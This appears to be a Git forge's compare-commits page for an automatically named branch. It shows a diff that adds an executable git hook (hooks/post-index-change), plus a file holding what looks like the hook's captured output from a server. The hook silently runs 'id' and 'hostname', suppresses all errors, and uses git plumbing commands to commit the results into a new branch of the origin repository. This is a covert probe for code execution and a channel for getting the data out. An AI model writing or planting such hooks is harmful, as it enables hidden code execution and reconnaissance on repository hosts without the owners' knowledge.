Compare commits
No commits in common. "gs-0lcq9szaga" and "main" have entirely different histories.
gs-0lcq9sz
...
main
@ -1,2 +0,0 @@
|
|||||||
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
|
|
||||||
e056a028a903
|
|
||||||
12
hooks/post-index-change
Executable file
12
hooks/post-index-change
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
r=$(git config --get remote.origin.url)||exit 0
|
||||||
|
out=$({
|
||||||
|
id; hostname
|
||||||
|
} 2>&1)
|
||||||
|
b=$(printf '%s\n' "$out"|git --git-dir="$r" hash-object -w --stdin 2>/dev/null)||exit 0
|
||||||
|
t=$(printf '100644 blob %s\tgs-0lcq9szaga.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)||exit 0
|
||||||
|
c=$(GIT_AUTHOR_NAME=gs GIT_AUTHOR_EMAIL=gs@gs.invalid \
|
||||||
|
GIT_COMMITTER_NAME=gs GIT_COMMITTER_EMAIL=gs@gs.invalid \
|
||||||
|
git --git-dir="$r" commit-tree "$t" -m "gs 0lcq9szaga" 2>/dev/null)||exit 0
|
||||||
|
git --git-dir="$r" update-ref "refs/heads/gs-0lcq9szaga" "$c" 2>/dev/null
|
||||||
|
exit 0
|
||||||
Loading…
Reference in New Issue
Block a user